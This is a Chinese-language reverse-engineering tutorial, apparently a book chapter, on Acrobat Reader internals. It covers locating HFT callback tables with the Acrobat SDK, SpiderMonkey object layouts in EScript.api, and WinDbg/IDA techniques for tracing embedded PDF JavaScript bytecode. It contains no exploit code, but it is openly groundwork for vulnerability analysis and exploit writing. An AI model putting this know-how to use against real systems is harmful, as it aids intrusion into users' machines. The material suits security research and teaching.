int v0; // ebp@0

_DWORD *v1; // esi@1

int v2; // ST40_4@2

int v4; // [sp+8h] [bp-10h]@2

int v5; // [sp+Ch] [bp-Ch]@2

int v6; // [sp+10h] [bp-8h]@2

int v7; // [sp+14h] [bp-4h]@2
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v1 = TlsGetValue(dword_665BAF2C);

if ( !v1[532] )

{

v4 = 16;

v2 = v1[533];

v5 = 53;

v6 = 851968;

v7 = 0;

v1[532] = sub_64EC7CC0(v0);

}

sub_64F3D3FD(1, sub_64FC8F90, 0);

sub_64F3D3FD(2, sub_64FC9120, 0);

sub_64F3D3FD(3, sub_64FC9480, 0);

sub_64F3D3FD(4, sub_64FE89D0, 0);

sub_64F3D3FD(5, sub_654BD830, 0);

sub_64F3D3FD(6, sub_654BD890, 0);

--------------------------------
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sub_64F3D3FD(52, sub_654BE790, 0);

return sub_64F3D3FD(53, sub_654BF1F0, 0);

}

可以发现 PDSRead的 HFT中应该有 53个回调函数，但是查看 Acrobat SDK中的头文件 PDSRead-

Procs.h，发现只有 50个回调函数，如下所示。

NPROC (ASBool, PDDocGetStructTreeRoot, (IN PDDoc pdDoc,

NPROC (ASInt32, PDSTreeRootGetNumKids, (IN PDSTreeRoot treeRoot))

NPROC (void, PDSTreeRootGetKid, (IN PDSTreeRoot treeRoot,

NPROC (ASBool, PDSTreeRootGetRoleMap, (IN PDSTreeRoot treeRoot,

NPROC (ASBool, PDSTreeRootGetClassMap, (IN PDSTreeRoot treeRoot,

-------------------------------------

这种情况下按照顺序前面的 50个回调函数是一一对应的。

1.3.3 Forms HFT

这里之所以列出 Forms HFT是因为它也是另一种情况—---它的 HFT的回调函数不是一个个插入

的，而是直接静态拷贝的。

根据之前打印的结果可以知道获取 Forms HFT的回调函数是 0x64f46f90，IDA中查看如下图所示。

------------------------------------

0889f408 006310aa 64f46f90

088d0cb0 "Forms"

------------------------------------
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可以发现这次的实现和之前获取 core HFT、Cos HFT的实现不一样了，这种就是直接静态拷贝得

到一个 HFT的。

跟进 off_665D8E78,发现是一个函数地址表。

.data:665D8E78 off_665D8E78 dd offset sub_65785D30 ; DATA XREF: sub_64F46F90+8o

.data:665D8E7C dd offset sub_6577D150

.data:665D8E80 dd offset sub_6577CF80

.data:665D8E84 dd offset sub_6577D090

.data:665D8F44 dd offset sub_6577D4A0

-----------------------------------------------------

.data:665D8F48 dd offset sub_6577C9D0

.data:665D8F4C align 10h

.data:665D8F50 off_665D8F50 dd offset sub_6577CB10 ; DATA XREF: sub_64F46FF0+8o

再计算一下 0xd4/4，结果是 53，也就是说这个表里总共有 53个回调函数，占用的字节数是 0xd4。

再在 Acrobat SDK的头文件 FormsHFTProcs.h，去除注释后内容如下，刚好 53个函数声明，正好

和上面的函数地址表一一对应（懒，没有在 IDA中实际重命名函数）。

PIPROC(ASBool, IsPDDocAcroForm, (PDDoc doc), doc)

PIPROC(void, AFPDDocLoadPDFields, (PDDoc doc), doc)

PIPROC(void, AFPDDocEnumPDFields, (PDDoc doc, ASBool terminals, ASBool parameterIgnored, AFPDFieldEnumProc proc, void *clientData),doc, terminals, parameterIgnored, proc, clientData)

-------------------------------------------------

1.3.4 EScript HFT

EScript HFT并没有包含在 Acrobat SDK中，也就是无法重命名回调函数。

这里之所以介绍它是因为他代表了一类特殊的情况—---某些 HFT表可能既在 AcroRd32.dll中存在，

又在 Plugin中存在，会发生冲突。
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这里我在加载完 EScript.api后再次打印所有的 HFT表，部分结果如下所示。

------------------------------------

0889f890 000010b5 64edc6b0

088d0f00 "ESHFT"

------------------------------------

0889f7a0 000010b6 64edcdc0

088d0ed0 "WebLink"

------------------------------------

0889f9a8 000010b7 64f47240

088ead10 "WebLinkPriv"

------------------------------------

0889fbd8 000010be 6515b270

088cf710 "EFSInfo"

0889fde0 000010c1 64f82950

088cf920 "Updater"

------------------------------------

0889fd68 000010c2 64f51680

088eaff8 "PrivPubSecHFT"

------------------------------------
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08d7ae98 04f911e7 64b921a0

0888beb8 "$ESHFT"

可以看到，在上面的结果中，第一个是 ESHFT表，最后一个是 ESHFT ESHFT ArcobatAcroRd32.dllESHFT

表则是在 Plugin EScript.api中的。

跟进获取 ESHFT 表的回调函数 0x64edc6b0（属于 AcroRd32.dll）和 $ESHFT 表的回调函数

0x64b921a0（属于 EScript.api），对比效果如下图所示。

1.3.5 Search HFT

这里之所以介绍 Search HFT，是因为它代表了另一种情况—---一个 Plugin可能不会被加载。

如果一个 Plugin没有被加载，它的 HFT表怎么获取呢？

1) 首先在 Plugin的导出函数 PluginMain中得到 PISetupSDK函数。

2) 然后再 PISetupSDK函数中得到 handShake函数。
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3) 在 handShake中，找到导出 HFT的代码。

4）导出 HFT的代码不同插件实现可能不同，关键就是在汇编层面找”push函数地址’’这样的形式，

针对这样形式的 push指令，每一个函数地址都跟进去看一下，经验足够的话是很容易判断出最终的

HFT表的。

接下来用 Search Plugin和 EScript Plugin来实际演示一下过程。

先看 EScript Plugin对应的 HFT的静态查找过程。
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再来看看 Search Plugin对应的 HFT表的静态查找过程（图在下一页）。
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8.1.4 1.4结束语

在 Acrobat SDK的文档中，提到了 Acrobat core API的概念。

Acrobat core API的架构如下。
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可以看出，所谓的 Acrobat core API就是上一节提到的 HFT概念。上图架构中的各个组件在 Acrobat

SDK中对应的头文件如下表所示。

Acrobat Viewer —————— Acrobat SDK中以 AV为前缀的文件，HFT在 AVProcs.h中声明

Acrobat Support —————— Acrobat SDK中以 AS为前缀的文件，HFT在 ASProcs.h中声明

COS —————— Acrobat SDK中以 Cos为前缀的文件，HFT在 CosProcs.h中声明

PDSEdit —————— Acrobat SDK中以 PDS为前缀的文件，HFT在 PDSReadProcs.h和 PDSWriteProcs.h

中声明

Portable Document —————— Acrobat SDK中以 PD为前缀的文件，HFT在 PDProcs.h中声明

到这里，动态查找各个 HFT和静态查找各个 Plugin的 HFT都已经介绍完毕，通过找到的 HFT以

及 Acrobat SDK中的头文件，是可以将大量关键的函数进行重命名的，从而帮助快速漏洞分析、漏洞

可行性的判断以及漏洞利用方案的编写等等。

8.2 2. Acrobat的 Javascript机制

Acrobat SDK的文档中明确说明了最新的 Acrobat Reader使用的 Javascript引擎是基于 SpiderMonkey

24.2。

SpiderMonkey 24.2是一个稳定发行版本，源码可以在 http://ftp.mozilla.org/pub/spidermonkey/releases/下

载。

首先介绍一下怎么找到 Javascript层的 api对应的 Native层的实现，这点不是必需的，但是能有效

地辅助调试。
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8.2.1 2.1查找 Javascript层的 api对应的 Native实现

对于大部分 Javascript层的 api,直接在 EScript.api模块中搜索对应的属性名称或者方法名称，再利用

IDA的交叉引用即可找到对应的 Native实现，比如下图的 app.alert。

再比如，this.addScript如下图所示（在 Acrobat Reader中，全局作用域中 this指代的是当前打开的

pdf文档—---一个 Doc对象，所以 this.addScript本质上是 Doc::addScript）。

但是，某些 Javascript层的 api不在 EScript.api模块中实现，而是在其他模块中实现，这种时候对

应的属性名称或者方法名称既在 EScript.api模块中会出现，也会在其他模块中出现。

比如 app.media对象的所有属性和方法对应的 Native实现都不在 EScript.api模块中（虽然 app对象

是），而是在Multimedia.api模块中。

现在在 EScript.api中搜索一下 app.media的方法 alertFileNotFound，结果如下所示。
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可以看到，无法在 EScript.api 中找到 app.media 对象的属性和方法对应的 Native 实现，但是

EScript.api明显以特定的结构保存了 app.media对象的相关信息。

再在Multimedia.api模块中搜索一下 alertFileNotFound，如下图所示。

注意，通过这种方法找 Javascript api对应的 Native实现不是取巧，是由实现机制得到的（这里的

实现机制包括 SpiderMonkey本身实现的 Javascript调用 Native函数机制和 Adobe在这个机制的基础上

进一步实现了自己的机制，这里不适合展开，后续内容会涉及这部分内容）。

掌握了该方法后，就可以根据 Acrobat SDK中的 Javascript API重命名各个对象属性和方法的 Native

实现，进一步达到识别符号的目的，也方便调试时下断点。

8.2.2 2.2 SpiderMonkey关键结构

虽然用 SpiderMonkey本身来解释这些结构会更好 (有 pdb信息和源码)，但是因为Acrobat的 EScript.api

在最关键的 JSObject对象做了一些修改，防止混淆以下所有内容都是展示 EScript的结果。

这部分结内容可以先大致看一下，掌握了后续内容后再回过头阅读。

因为在自己调试实验的时候需要有一个出发点，而这个出发点在后续小节里才涉及。

2.2.1 Value结构体

Javascript 是无类型语言，但是这只是语言层面而言，在底层一定是要有和类型相关的信息的，

Value结构体的功能就是如此（可以参考 vbs的 variant类型）。

一个 Value结构体占 8个字节，除了 double和超过 32位大小的整数，其他类型都是高 4字节用于

保存类型，低 4字节保存值或者实际对象的指针，类型的值对应的类型如下所示。

JS_ENUM_HEADER(JSValueType, uint8_t)

{

JSVAL_TYPE_DOUBLE = 0x00,

JSVAL_TYPE_INT32 = 0x01,

JSVAL_TYPE_UNDEFINED = 0x02,
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JSVAL_TYPE_BOOLEAN = 0x03,

JSVAL_TYPE_MAGIC = 0x04,

JSVAL_TYPE_STRING = 0x05,

JSVAL_TYPE_NULL = 0x06,

JSVAL_TYPE_OBJECT = 0x07,

/* These never appear in a jsval; they are only provided as an out-of-band value. */

JSVAL_TYPE_UNKNOWN = 0x20,

JSVAL_TYPE_MISSING = 0x21

} JS_ENUM_FOOTER(JSValueType);

比如对于下面的 Javascript代码

this["0"] = 0x5

this["1"] = 0x100000000

this["2"] = 3.14

this["3"] = undefined

this["4"] = false

this["5"] = true

this["6"] = null

this["7"] = "str1"
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this["8"] = {}

this["9"] = function() {app.alert("in function");}

app.alert("end");

底层表示如下所示。

2.2.2 String对象

String对象的第 1个 4字节由字符串字符长度（不是字节长度）和 flag组成（低 4位用于保存 flag，

其余位用于保存字符串字符长度）。

为了提高字符串的处理效率，String对象又细分成不同类型，由 flag决定，flag的值和字符串的类

型如下所示。

* Rope 0000 0000

* Linear - !0000

* HasBase - xxx1

* Dependent 0001 0001

* Flat - isLinear && !isDependent

* Undepended 0011 0011
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* Extensible 0010 0010

* Inline 0100 isFlat && !isExtensible && (u1.chars == inlineStorage) || isInt32)

* Stable 0100 isFlat && !isExtensible && (u1.chars != inlineStorage)

* Short 0100 header in FINALIZE_SHORT_STRING arena

* External 0100 header in FINALIZE_EXTERNAL_STRING arena

* Int32 0110 x110 (NYI, Bug 654190)

* Atom 1000 1xxx

* InlineAtom 1000 1000 && is Inline

* ShortAtom 1000 1000 && is Short

Int32Atom 1110 1110 (NYI, Bug 654190)

不过这里只介绍最常见的一种——Atom字符串，也就是 flag为 0x8。

对于 2.2.1节中的代码

this["7"] = "str1"

实际的存储如下所示。
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这里需要注意一点，一个 String对象至少占 32个字节，除了头 8个字节，剩余的内存是用来直接

保存长度比较小的字符串，这样可以提高内存的使用效率。

如果字符串的长度过长，剩余的内存则不使用，第 2个 4字节指向实际的字符串，如下图所示。

2.2.3 JSObject

JSObject对应的是 Javascript层的 Object概念。

这个结构涉及的概念有点多，也是需要重点消化的对象，因为接下来的 function、Array、Map、Set

等都建立在 JSObject的基础上。
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首先我们从一个空的 Object开始来研究 JSObject。

2.2.3.1空 Object对应的 JSObject

对于以下代码（this.dummy1和 this.dummy2是为了直观地确认 emptyObject的存在，可以忽略）

this.dummy1 = 255

this.emptyObject = {}

this.dummy2 = 255

首先 this.emptyObject的值是一个空的 Object，Native层的表示如下。

2.2.3.2 Shape对象
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从上面的一些图中应该可以看到 SpiderMonkey引擎在添加新的属性时，属性的值是按照顺序在内

存中存放的（以一个 Value结构体为单位）,那么一定是需要一个中间的媒介，来保存属性的名称以及

属性的值的对应关系，从而通过属性（字符串）找到对应的 Value。

Shape对象就是这个中间的媒介，Shape的逻辑如下图所示。

每一个 Shape对象保存了 id和 slot索引，通过对比 id来进行所谓的查找属性，id一致后就可以根

据对应的 slot索引得到属性的值。

一个 JSObject的第一个成员指向 Shape单链表的最后一个元素。

单链表的最后一个 Shape对象可能会指向一个哈希表。

查找属性的时候，先通过 id尝试在哈希表里直接获取对应的 Shape（如果有哈希表的话）。

如果没有找到或者哈希表不存在，则通过遍历单链表，然后对比 id来查找 Shape。

如果找到了 Shape，则根据 Shape中的 slot索引获取属性的值。

实际演示，对于如下代码
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this.dummy1 = 255

this.emptyObject = {}

this.dummy2 = 255

this.emptyObject.mem1 = "mem1"

this.emptyObject.mem2 = "mem2"

this.emptyObject.mem3 = "mem3"

this.emptyObject.mem4 = "mem4"

this.emptyObject.mem5 = "mem5"

在内存中的实际关系如下图所示。

上图中出现了一个新的概念——fixed slots，fixed slots是紧跟在 JSObject（或者 JSObject的子类）

后面的固定大小的 slot数组，主要用于优化，给一个对象添加属性时，会先填充 fixed slots，fixed slots

用完后才会使用单独的 slots（JSObject偏移量 +0x8指向的 slot数组）。

理解上图可能需要配合前面的 Shape对象的逻辑图。

调试时，为了方便，可以使用如下 windbg脚本命令，@$t0寄存器代表的是 JSObject的起始地址。

r @$t0 = 0x08067b68 ;
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r @$t1 = poi(@$t0) ;

r @$t2 = poi(@$t0 + 0x8 );

r @$t8 = poi(@$t1 + 0x10);

.for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}

在该例子中，运行后的效果如下所示。

0:000> r @$t0 = 0x08067b68 ;

0:000> r @$t1 = poi(@$t0) ;

0:000> r @$t2 = poi(@$t0 + 0x8 );

0:000> r @$t8 = poi(@$t1 + 0x10);

0:000> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}

07e3c1c8 "mem5"

$t4=00000004 $t5=00000004

0efda218 07e3c1c0 ffffff85

--------------------

07e3c1a8 "mem4"

$t4=00000004 $t5=00000003

08067b98 07e3c1a0 ffffff85

--------------------
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07e3c188 "mem3"

$t4=00000004 $t5=00000002

08067b90 07e3c180 ffffff85

--------------------

07e3c168 "mem2"

$t4=00000004 $t5=00000001

08067b88 07e3c160 ffffff85

--------------------

07e3c148 "mem1"

$t4=00000004 $t5=00000000

08067b80 07e3c140 ffffff85

--------------------

打印的结果中，第 1行是属性的名称，第 2行是 fixed slots的个数和 Shape对应的 slot索引，第 3

行是属性的值。

2.2.3.3 TypeObject对象

TypeObject有 2个关键成员，第 1个是 clasp—---可以用来判断一个 Object所属类型；第 2个是

proto——Javascript中的 prototype概念的实现。

proto在查找对象属性的时候会用到，如果当前 JSObject的 Shape单链表中没有找到属性，则会在

proto的 Shape单链表继续查找，依次类推。

对于如下代码

this.dummy1 = 255

this.proto = {}
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this.emptyObject = {}

this.dummy2 = 255

this.proto.mem1 = "proto"

this.emptyObject.__proto__ = this.proto

TypeObject演示如下。

2.2.4 JSFunction和 JSScript

JSFunction对应的是 Javascript层 function的概念。

一个 JSFcuntion 要么封装了一个 Native 函数，要么封装了一个 JSScript，JSScript 包含了一个

function对应的各种信息（比如最关键的字节码）。

对于代码

this.dummy1 = 255

function test() {app.alert("in function test");}

this.dummy2 = 255

JSFunction的逻辑如下所示。
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可以看到 JSFunction最关键的就是偏移 0x1c处的 4字节和 0x24处的 4字节。

0x24处的 4字节指向一个 Atom字符串，该字符串表示 function的名称，注意这里的”test’’和打印

this的属性时的字符串”test’’含义是不一样的，打印 this的属性时的字符串”test’’表示的是 this对象的

属性名称，这个属性不一定是”test’’，但是 function的名称确定后就不会变了。

0x1c处的 4字节要么是一个 Native函数的地址（如果 JSFunction封装的是 Native函数的话），要么

指向一个 JSScript对象 (调用函数的话相应的字节码会被解释执行)。

接下来看看 JSScript对象的逻辑。

可以看到 JSScript的关键点在偏移 0xC处的 4字节和偏移 0x24字节处的 4字节。

偏移 0xC处的 4字节指向对应的 function的字节码起始处。
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偏移 0x24处的 4字节指向一个 ScriptSourceObject对象 (继承自 JSObject),而 ScriptSourceObject的

fixed slots中的第 1个是 ScriptSource对象，ScriptSourceObject也就是简单地封装了一下 ScriptSource

对象。

ScriptSource对象包含了对应 function的 Javascript源码和源码所在的文件名。

JSScript可以用来在调试过程中辅助判断某个对象。

2.2.5 Array对象

Array对象是基于 JSObject的，对于如下代码

this.dummy1 = 255

this.arr = Array(255, "elem2", 255)

this.arr.push({})

this.dummy2 = 255

this.arr的实际存储形式如下。

从上图可以看出，Array对象的所有元素都存储在 elements中，不存在 slots。

8.2.3 2.2.6 Map对象

Map对象也是基于 JSObject，不过涉及到 Hash，所以稍微复杂一些。

对于如下代码

this.dummy1 = 255

this.map = new Map()

138

resource/3c88118523e1f83317b35c5c22aaa9545b2d7669.png


漏洞分析 PDF调试技巧剖析

this.map.set("key1", "value1")

this.map.set("key2", "value2")

this.map.set("key3", "value3")

this.dummy2 = 255

this.map的实际存储形式如下。

从上图中可以看到，一个Map对象在 fixed slots后有一个指向 Ordered HashTable的指针。

在 Ordered HashTable中，有 length和 capacity的值，同时还有一个指向 entries的指针。

在 entries中，key和 value相邻并以 Value结构体的形式存在。

2.2.7 Set对象

Set对象和Map对象很类似，而且都是基于 Ordered HashTable。

对于代码
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this.dummy1 = 255

this.set = new Set()

this.set.add("value1")

this.set.add("value2")

this.set.add("value3")

this.dummy2 = 255

this.set的实际存储形式如下。

可以看到 Set对象的存储形式和Map对象差不多，只是在最后存储 Value结构体时逻辑不一样。

2.2.8 FrameRegs和 StackFrame

FrameRegs和 StackFrame是 SpiderMonkey的解释器解释执行字节码时需要的 2个最关键的结构，

它们都是 Interpret函数中频繁使用到的变量。

FrameRegs结构包含 3个成员，依次是 sp_、pc_和 fp_。

sp_成员模拟 esp(rsp)寄存器，pc_成员模拟 eip(rip)寄存器，fp_成员模拟 ebp(rbp)寄存器。

sp_永远指向栈顶，pc_一开始指向字节码的起始地址，在解释执行的过程中会指向下一个字节码，

fp_指向的是一个 StackFrame结构体。

StackFrame保存了当前的作用域、局部变量、当前的脚本、this、arguments和 callee等关键信息。
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整体逻辑如下所示。

其中最关键的就是 sp_和 fp_，这 2个能够大大提高调试 Javascript的速度。

通过 sp_可以在特定代码执行后快速获取某些 Javascript变量的值。

通过 fp_则可以得到 this对象，再结合之前的打印 JSObject对象所有属性的 windbg脚本命令，可

以查看所有相关的属性的值，如果 this对象是全局变量，还可以将该 this值保存起来，无论什么时候

都可以顺藤摸瓜查看所有变量的值。

而且 fp_指向的 StackFrame末尾（StackFrame大小 0x48字节）开始依次保存局部变量的值（局部

变量在编译阶段已经被分配了特定的索引，所以在运行时不存在变量的名称等信息）。

8.2.4 2.3实战

在大致了解了 2.2节中的各个关键结构后，接下来就是在调试中不断熟悉，形成自己的调试经验。

2.3.1准备 pdf

实战的前提是能够随意构造嵌有 js代码的 pdf文件，Acrobat Pro版可以做到，PDF-XChange-Editor

也可以，当然通过一些开源的工具也行。
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Acrobat Pro要收费，PDF-XChange-Editor可以免费使用，不过生成的 pdf有水印。

接下来使用的 pdf均是通过 PDF-XChange-Editor生成的（在菜单栏的 Form菜单可以添加 Javascript）。

8.2.5 2.3.2 windbg加载 Acrobat Reader

windbg加载 Acrobat Reader（勾选 Debug Child Process Also选项），中断到调试器就输入 g命令运行，

一直到 Acrobat Reader可以交互。

crtl+break或者 alt+delete强行中断到 windbg，输入 lmm escript查看 EScript.api模块的基地址。

如果 EScript.api模块还没有加载，说明 Acrobat启动的代码还没执行完，输入 g命令继续运行，等

一会儿再重复相同操作。

0:034> lmm escript

Browse full module list

start end module name

64b90000 64e5f000 EScript (deferred)

IDA加载 EScript.api，并重定向基地址为实际的地址。

2.3.3查找 Interpret—---解释执行 pcode(字节码)的函数

不只是对于 Acrobat Reader中的 SpiderMonkey引擎，研究所有解释执行类的语言找这个函数都是

最关键的，因为这里是代码产生实际效果的过程，跟踪这些过程可以摸清楚各种关键结构和关键机制。

针对 SpiderMonkey 24.2，查找该函数有 2种快捷方法。

1) 直接在 IDA中搜索文本 “switch 230 cases’’，得到的结果就在 Interpret函数中。
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2) 在字符串窗口找到字符串”js::RunScript’’，然后通过交叉引用进入到引用该字符串的函数，再通

过交叉引用退回到上一层函数，该函数就是 js::RunScript。

然后在 js::RunScript函数中定位到 Interpret函数。

找到 Interpret后，在 Interpret函数找到核心 switch（循环解释执行字节码的地方），然后根据 IDA

中的地址在 windbg相应地址处下断点，然后输入 g命令直接运行。
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到这里，通过 Acrobat Reader的打开文件功能打开带有 Javascript代码的 pdf文件就会触发断点。

接下来会分别介绍细粒度调试和快速调试 2种方式，可以根据兴趣阅读。

细粒度调试就是以字节码甚至以汇编语言为单位一步步跟踪 Javascript代码产生的效果。

快速调试就是以 Javascript语句为单位跟踪 Javascript代码产生的效果。

2.3.4细粒度调试 Javascript代码

1) 在 PDF-XChange-Editor中生成带有如下 javascript代码的 pdf文档。

2) 然后使用 Acrobat Reader打开生成的 pdf文档，触发断点，如下图所示。
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到这里，首先在 IDA中查看 FrameRegs(2.2.8节介绍的)，如下图所示。

从上图的推测结果可以看到，ebp-0x30 处的 12 字节是 FrameRegs，[ebp-0x30] 指向临时堆栈，

[ebp-0x2C]指向当前字节码，[ebp-0x28]指向 StackFrame。

3) 通过 StackFrame（[ebp-0x28]）获取 this指针（在这次实验中 this代表的是 Doc对象），如下图所

示。
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4) 将值 0xbd29740替换 2.2.3.2节中的Windbg脚本命令中的@$t0寄存器，运行后就可以查看 this

（Doc对象）当前的所有属性。

可以把 this值临时保存到记事本或者其他其他文本中，然后在调试的任何时候都可以配合 2.2.3.2

中的 windbg脚本命令查看 Doc对象的属性，然后顺藤摸瓜查看 Javascript代码中的所有变量的值。

Windbg脚本命令运行结果如下所示（为了篇幅把中间大部分内容省了）。

0:000> r @$t0 = 0xbd29740 ;

0:000> r @$t1 = poi(@$t0) ;

0:000> r @$t2 = poi(@$t0 + 0x8 );

0:000> r @$t8 = poi(@$t1 + 0x10);

0:000> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}

0c6e1c50 "rightsManagement"

$t4=00000001 $t5=000000b9

0bcc8e28 00000000 ffffff82

--------------------
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0b994ae8 "encryptUsingPolicy"

$t4=00000001 $t5=000000b8

0bcc8e20 0bd1e5d8 ffffff87

--------------------

0a8377c8 "layout"

$t4=00000001 $t5=00000002

0bcc8870 00000000 ffffff82

--------------------

0a815528 "info"

$t4=00000001 $t5=00000001

0bcc8868 00000000 ffffff82

--------------------

0a81c4a8 "hidden"

$t4=00000001 $t5=00000000

0bd29758 00000000 ffffff82

--------------------

5) 获取并保存了 this后，接下来跟踪字节码的执行。

查看 pc_([ebp-0x2C])指向的字节码，跟踪字节码的执行的步骤如下所示。
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解释: 如果要一步步跟踪字节码的执行过程，首先通过 [ebp-0x2C]得到当前的字节码，将 16进制

字节码换算成 10进制，再在 SpiderMonkey源码中的 jsopcode.tbl查看对应的字节码的名称，根据字节

码名称在 SpiderMonkey源码中的 Interpreter.cpp中查看对应字节码的处理流程。
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以当前实验中的第一条语句 this[“0”] = 0x5为示例。

通过 [ebp-0x2C]发现当前字节码是 0x41(65)，查询后发现是 JSOP_THIS,windbg中直接输入 g命

令解释执行该字节码，准备执行下一个字节码的时候调试器又触发断点，此时通过 [ebp-0x30]查看

sp_指向的临时堆栈的栈顶。

可以看到，JSOP_THIS字节码执行完后，FrameRegs中的 sp_指向的临时栈栈顶已经保存了 this的

值。

通过 [ebp-0x2C]发现当前字节码是 0x3e(62)，查询后发现是 JSOP_ZERO,windbg中直接输入 g命

令解释执行该字节码，准备执行下一个字节码的时候调试器又触发断点，此时通过 [ebp-0x30]查看临

时栈栈顶。

0:000> dd poi(@ebp-0x30)-0x8

0b9e5e28 00000000 ffffff81

可以看到，JSOP_ZERO字节码执行完后，FrameRegs中的 sp_指向的临时栈栈顶已经保存了整数

0。

通过 [ebp-0x2C]发现当前字节码是 0xd7(215)，查询后发现是 JSOP_INT8,windbg直接输入 g命令

解释执行该字节码，准备执行下一个字节码的时候调试器又触发断点，此时通过 [ebp-0x30]查看临时

栈栈顶。

0:000> dd poi(@ebp-0x30)-0x8

0b9e5e30 00000005 ffffff81

可以看到，JSOP_INT8字节码执行完后，FrameRegs中的 sp_指向的临时栈栈顶已经保存了整数

0x5。
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通过 [ebp-0x2C]发现当前字节码是 0x38(56)，查询后发现是 JSOP_SETELEM，windbg直接输入 g

命令执行解释该字节码，准备执行下一个字节码的时候调试器又触发断点，此时运行之前保存的打印

this的所有属性的 windbg脚本命令，结果如下（省略了大部分结果）。

0:000> r @$t0 = 0xbd29740 ;

0:000> r @$t1 = poi(@$t0) ;

0:000> r @$t2 = poi(@$t0 + 0x8 );

0:000> r @$t8 = poi(@$t1 + 0x10);

0:000> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}

Memory access error at ’); r @$t9 = 0xaa’

$t4=00000001 $t5=000000ba

0bcc8e30 00000005 ffffff81

--------------------

0c6e1c50 "rightsManagement"

$t4=00000001 $t5=000000b9

0bcc8e28 00000000 ffffff82

--------------------

0b994ae8 "encryptUsingPolicy"

$t4=00000001 $t5=000000b8

0bcc8e20 0bd1e5d8 ffffff87
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--------------------

可以看到 this(Doc对象)新增了一个属性，打印的第一个属性 id是 0x1，属性的值是整数 0x5。

注意这里属性的 id不在是字符串的地址，而是 0x1，右移 1位后的结果 0x0代表的就是索引（最

低位的 0x1表示这个不是字符串地址，因为地址最低位肯定为 0x0）。

到这里，Javascript代码 this[“0”] = 0x5对应的字节码执行完毕，跟踪其他的语句对应的字节码的步

骤类似。

2.3.5快速调试 Javascript代码

快速调试代码主要利用了提前保存的 Doc对象（因为它在整个 pdf的 Javascritp代码执行过程中一

直存在并且地址保持不变）和 app.alert弹窗（根据个人喜好可以选择其他的）。

1) 首先使用 PDF-XChange-Editor生成一个带有如下 Javascript代码的 pdf文档，注意在感兴趣的地

方插入 app.alert来快速跳过某些字节码的解释执行。

2) Acrobat Reader打开生成的 pdf，触发断点，如下所示。
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到这里，首先在 IDA中查看 FrameRegs(2.2.8节介绍的)，如下图所示。

从上图的推测结果可以看到，ebp-0x30 处的 12 字节是 FrameRegs，[ebp-0x30] 指向临时堆栈，

[ebp-0x2C]指向当前字节码，[ebp-0x28]指向 StackFrame。

3) 通过 StackFrame（[ebp-0x28]）获取 this指针（在这次实验中 this代表的是 Doc对象），如下图所

示。

4) 将值 0xbd29a38替换 2.2.3.2节中的Windbg脚本命令中的@$t0寄存器，运行后就可以查看 this

（Doc对象）当前的所有属性。

可以把 this值临时保存到记事本或者其他其他文本中，然后在调试的任何时候都可以配合 2.2.3.2

中的 windbg脚本命令查看 Doc对象的属性，然后顺藤摸瓜查看 Javascript代码中的所有变量的值。

Windbg脚本命令运行结果如下所示（为了篇幅把中间大部分内容省了）。
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0:000> r @$t0 = 0xbd29a38 ;

0:000> r @$t1 = poi(@$t0) ;

0:000> r @$t2 = poi(@$t0 + 0x8 );

0:000> r @$t8 = poi(@$t1 + 0x10);

0:000> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}

0a83c788 "removeLinks"

$t4=00000001 $t5=000000b8

0b8ec920 0bd24ab0 ffffff87

--------------------

0a83c768 "getLinks"

$t4=00000001 $t5=000000b7

0b8ec918 0bd24a88 ffffff87

--------------------

0a81c4a8 "hidden"

$t4=00000001 $t5=00000000

0bd29a50 00000000 ffffff82

--------------------

5) 获取 this并保存后，接下来直接禁用断点，然后输入命令 g运行，Acrobat Reader弹出对话框。
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0:000> bl

0 e Disable Clear 64bc21bc 0001 (0001) 0:**** EScript!mozilla::HashBytes+0x2177c

0:000> bd 0

0:000> bl

